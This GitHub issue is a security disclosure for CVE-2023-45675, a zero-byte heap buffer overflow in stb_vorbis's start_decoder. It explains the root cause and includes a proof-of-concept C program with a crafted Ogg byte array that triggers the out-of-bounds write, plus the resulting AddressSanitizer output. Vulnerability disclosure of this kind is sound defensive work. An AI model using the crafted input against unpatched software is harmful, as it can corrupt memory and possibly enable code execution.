Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0 byte write heap buffer overflow in start_decoder (GHSL-2023-165/CVE-2023-45675) #1552

Open
JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1553
Open

0 byte write heap buffer overflow in start_decoder (GHSL-2023-165/CVE-2023-45675) #1552

JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1553

Comments

@JarLob
Copy link

JarLob commented Oct 19, 2023

A crafted file may trigger out of bounds write in f->vendor[len] = (char)'\0'; [1]. The root cause is that if len read in start_decoder [2] is -1 and len + 1 becomes 0 when passed to setup_malloc in [3].

   len = get32_packet(f); // [2]
   f->vendor = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [3]
   if (f->vendor == NULL)                           return error(f, VORBIS_outofmem);
   for(i=0; i < len; ++i) {
      f->vendor[i] = get8_packet(f);
   }
   f->vendor[len] = (char)'\0'; // [1]

The setup_malloc behaves differently when f->alloc.alloc_buffer is pre-allocated. Instead of returning NULL as in malloc case [4] it shifts the pre-allocated buffer by zero and returns the currently available memory block.

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset; // [5]
      if (f->setup_offset + sz > f->temp_offset) return NULL;
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL; // [4]
}

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0xac,0xf4,0x30,
                            0x19,0x50,0x13,0x00,0x68,0x00,0x00,0x00,0x21,
                            0x00,0x40,0x00,0x00,0x00,0x7e,0x84,0x04,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x05,0x00,0x45,0xc5,0x87,0x03,
                            0x00,0x04,0x00,0x02,0x00,0x08,0x00,0x00,0x01,
                            0x00,0x2e,0xa9,0xcb,0x4f,0x67,0x67,0x53,0x00,
                            0x28,0x00,0x00,0xf7,0xff,0xff,0x7f,0x68,0x00,
                            0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x76,0x6f,
                            0x72,0x73,0x00,0x00,0x03,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0xff,0xff,0xff,0xff};
    size_t size = sizeof(data);

    stb_vorbis_alloc alloc;
    int alloc_buffer_length = 600 * 1024;
    alloc.alloc_buffer = (char*)malloc(alloc_buffer_length);
    alloc.alloc_buffer_length_in_bytes = alloc_buffer_length;
    int err;
    stb_vorbis* out = stb_vorbis_open_memory(data, size, &err, &alloc);
    stb_vorbis_close(out);
    free(alloc.alloc_buffer);
    return 0;
}
  1. Run the program to hit the error.
==93713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f37941697ff at pc 0x0000004e41ed bp 0x7ffe67641670 sp 0x7ffe67641668
WRITE of size 1 at 0x7f37941697ff thread T0
    #0 0x4e41ec in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3658:19
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8
JarLob added a commit to JarLob/stb that referenced this issue Oct 19, 2023
Repository owner deleted a comment from Lizelizethelff Nov 28, 2023
sezero added a commit to sezero/stb that referenced this issue Dec 12, 2023
Based on the patches by Jaroslav Lobačevski (@JarLob) submitted
to mainstream at: nothings#1554 and
nothings#1555

Also see nothings#1552 and
nothings#1553

GHSL-2023-166/CVE-2023-45676: Multi-byte write heap buffer overflow in start_decoder()
GHSL-2023-167/CVE-2023-45677: Heap buffer out of bounds write in start_decoder()
GHSL-2023-165/CVE-2023-45675: 0 byte write heap buffer overflow in start_decoder()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant